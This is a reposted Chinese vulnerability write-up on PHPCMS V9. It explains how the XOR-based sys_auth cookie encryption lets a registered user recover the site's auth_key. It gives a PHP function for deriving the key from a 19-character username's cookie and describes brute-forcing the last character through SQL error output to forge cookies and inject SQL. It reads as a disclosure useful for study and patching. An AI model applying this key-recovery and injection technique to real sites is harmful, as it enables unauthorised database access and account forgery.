PHPCMS V9爆出多个SQL注入漏洞
生活随笔
收集整理的這篇文章主要介紹了
PHPCMS V9爆出多个SQL注入漏洞
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
phpcms 使用sys_auth函數(shù)加解密cookie信息,系統(tǒng)中多個文件直接從cookie中獲取變量進(jìn)入程序流程。 由于sys_auth函數(shù)在設(shè)計和使用過程中存在缺陷,導(dǎo)致注冊用戶可以偽造cookie數(shù)據(jù),觸發(fā)SQL注入等多個二次攻擊。 看sys_auth函數(shù)代碼 //libs/functions/global.func.php function sys_auth($txt, $operation = 'ENCODE', $key = '') { $key = $key ? $key : pc_base::load_config('system', 'auth_key'); $txt = $operation == 'ENCODE' ? (string)$txt : base64_decode($txt); $len = strlen($key); $code = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $code .= $txt[$i] ^ $key[$k]; } $code = $operation == 'DECODE' ? $code : base64_encode($code); return $code; } 通過于$auth_key進(jìn)行^運(yùn)算達(dá)到加密的目的,$auth_key是系統(tǒng)安裝時隨機(jī)生成的一個長度為20的字符串。 要偽造cookie變量需要知道$auth_key,我們看看如何來獲取。 注冊用戶登錄過程 //phpcms/modules/member/index.php public function login() { …… param::set_cookie('auth', $phpcms_auth, $cookietime); param::set_cookie('_userid', $userid, $cookietime); param::set_cookie('_username', $username, $cookietime); param::set_cookie('_groupid', $groupid, $cookietime); param::set_cookie('_nickname', $nickname, $cookietime); param::set_cookie('cookietime', $_cookietime, $cookietime); …… //phpcms/libs/classes/param.class.php public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } 明顯可以看出,登陸的時候 $username通過sys_auth函數(shù)處理后賦值到了cookie。 好了,下面去注冊一個用戶名長度為19字符的(最長為20,但是需要有一個\0,所以實際上只能是19)用戶。 登陸系統(tǒng)后獲取cookie里面對應(yīng)的值,就可以逆向推算出$auth_key的前19位。 逆推函數(shù)如下 function antisys_auth() { $txt = base64_decode(urldecode("你cookie里面的值")); $name = "你的用戶名"; $len = 20; $key = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $key .= $txt[$i] ^ $name[$k]; } return $key; } $auth_key剩下的最后一位如何獲取? 這個就很簡單了,找到任意一個使用get_cookie()獲取變量然后進(jìn)入sql流程的地方, 利用phpcms的sql錯誤機(jī)制,可以很容易的判斷暴力破解出最后一位。 public function halt($message = '', $sql = '') { $this->errormsg = "<b>MySQL Query : </b> $sql <br /><b> MySQL Error : </b>".$this->error()." <br /> <b>MySQL Errno : </b>".$this->errno()." <br /><b> Message : </b> $message <br /><a href='http://xxxx/?errno=".$this->errno()."&msg=".urlencode($this->error())."' target='_blank' style='color:red'>Need Help?</a>"; $msg = $this->errormsg; echo '<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span>'.$msg.'</span></div>'; exit; }
轉(zhuǎn)載于:https://www.cnblogs.com/mrjim/archive/2011/09/13/4475268.html
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現(xiàn)金大獎總結(jié)
以上是生活随笔為你收集整理的PHPCMS V9爆出多个SQL注入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python数据分析基础教程考试试卷_P
- 下一篇: 按住 ctrl 并滚动鼠标滚轮才可缩放地